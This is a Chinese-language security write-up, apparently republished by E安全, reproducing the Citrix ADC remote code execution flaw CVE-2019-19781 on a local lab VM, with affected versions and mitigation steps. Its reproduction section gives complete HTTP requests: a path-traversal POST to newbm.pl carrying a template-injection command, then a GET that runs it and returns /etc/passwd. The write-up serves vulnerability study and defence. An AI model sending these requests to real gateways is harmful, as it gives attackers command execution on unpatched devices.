查看原文
其他

CVE-2019-19781: Citrix ADC远程代码执行漏洞本地复现

E安全 2022-05-13

The following article is from 雷神众测 Author 千山飞暮雪

No.1

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.2

漏洞产生原因

Citrix ADC(NetScalers)中的目录穿越错误,这个错误会调用perl脚本,perl脚本用于将XML格式的文件附加到受害计算机,因此产生远程执行代码。

注:Citrix NetScaler ADC应用交付控制器和Citrix NetScaler网关

No.3

漏洞利用过程

1.pl文件未对NSC_USER参数传入进行过滤
2.触发目录穿越
3.在模板目录的XML文件写入命令
4.模板引擎分析后执行命令

No.4

漏洞影响范围

Citrix NetScaler ADC and NetScaler Gateway version 10.5
Citrix ADC and NetScaler Gateway version 11.1 , 12.0 , 12.1 
Citrix ADC and Citrix Gateway version 13.0

No.5

漏洞复现

下载 Citrix Gateway VPX for ESX Build 13.0-47.22
https://www.citrix.com/downloads/citrix-gateway/

安装NSVPX-ESX
运行.ovf文件后,会导入.vmdk文件并启动虚拟机

桥接模式 配置
IP地址:192.168.2.170
子网掩码:255.255.255.0
网关地址:192.169.2.255
然后选择4确认

访问 http://192.168.2.170
默认用户和密码登录:nsroot/nsroot

利用目录穿越写入命令语句到newbm.pl文件中

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 192.168.2.170
User-Agent: 1
Connection: close
NSC_USER: ../../../netscaler/portal/templates/rab3it
NSC_NONCE: nsroot
Content-Length: 97

url=http://example.com&title=rab3it&desc=[% template.new('BLOCK' = 'print `cat /etc/passwd`') %]

HTTP/1.1 200 OK
Date: Thu, 16 Jan 2020 06:25:07 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Last-Modified: Thu, 16 Jan 2020 06:25:07 GMT
ETag: W/"87-59c4286dda300"
Accept-Ranges: bytes
Content-Length: 135
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<HTML>
<BODY>
<SCRIPT language=javascript type=text/javascript>
//parent.window.ns_reload();
window.close();
</SCRIPT>
</BODY>
</HTML>

GET方式访问写入的xml文件

GET /vpn/../vpns/portal/rab3it.xml HTTP/1.1
Host: 192.168.2.170
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
NSC_USER: nsroot
NSC_NONCE: nsroot
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

HTTP/1.1 200 OK
Date: Thu, 16 Jan 2020 06:39:17 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-control: no-cache
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Expires: Thu, 16 Jan 2020 06:39:17 GMT
Content-Length: 2255

# $FreeBSD: release/8.4.0/etc/master.passwd 243948 2012-12-06 11:54:25Z rwatson $
#
root:*:0:0:Charlie &:/root:/usr/bin/bash
nsroot:*:0:0:Netscaler Root:/root:/netscaler/nssh
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/sbin/nologin
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
auditdistd:*:78:77:Auditdistd unprivileged user:/var/empty:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
nsmonitor:*:65532:65534:Netscaler Monitoring user:/var/nstmp/monitors:/usr/sbin/nologin
&#117;&#110;&#100;&#101;&#102;&#32;&#101;&#114;&#114;&#111;&#114;&#32;&#45;&#32;&#65;&#116;&#116;&#101;&#109;&#112;&#116;&#32;&#116;&#111;&#32;&#98;&#108;&#101;&#115;&#115;&#32;&#105;&#110;&#116;&#111;&#32;&#97;&#32;&#114;&#101;&#102;&#101;&#114;&#101;&#110;&#99;&#101;&#32;&#97;&#116;&#32;&#47;&#117;&#115;&#114;&#47;&#108;&#111;&#99;&#97;&#108;&#47;&#108;&#105;&#98;&#47;&#112;&#101;&#114;&#108;&#53;&#47;&#115;&#105;&#116;&#101;&#95;&#112;&#101;&#114;&#108;&#47;&#53;&#46;&#49;&#52;&#46;&#50;&#47;&#109;&#97;&#99;&#104;&#47;&#84;&#101;&#109;&#112;&#108;&#97;&#116;&#101;&#47;&#68;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#112;&#109;&#32;&#108;&#105;&#110;&#101;&#32;&#57;&#50;&#46;&#10;

No.6

修复方案

Citrix ADC 名称为NetScaler ADC,同时受影响为Citrix Gateway,产品名称为 Netscaler Gateway

临时解决方案:

  • 实施Citrix支持文章https://support.citrix.com/article/CTX267027中描述的缓解措施

  • 将已识别的恶意XML文件复制到外部设备,并从以下目录中删除原始恶意文件
    / netscaler / portal / templates
    / var / tmp / netscaler / portal / templates

  • 验证所有创建为以“ nobody”用户身份运行的cron作业。默认情况下,不应以“ nobody”用户身份运行计划的cron作业。

  • 清除或重置经过身份验证的会话cookie。

  • 重新启动Citrix服务器以断开与恶意行为者的任何活动连接。

  • 重置Citrix服务器上所有本地帐户的密码。

  • 对XML文件和其他司法鉴定进行分析,以识别进一步的缓解措施。

注:本文由E安全编译报道,转载请注原文地址 
https://www.easyaq.com

推荐阅读:


▼点击“阅读原文” 查看更多精彩内容


喜欢记得打赏小E哦!




您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存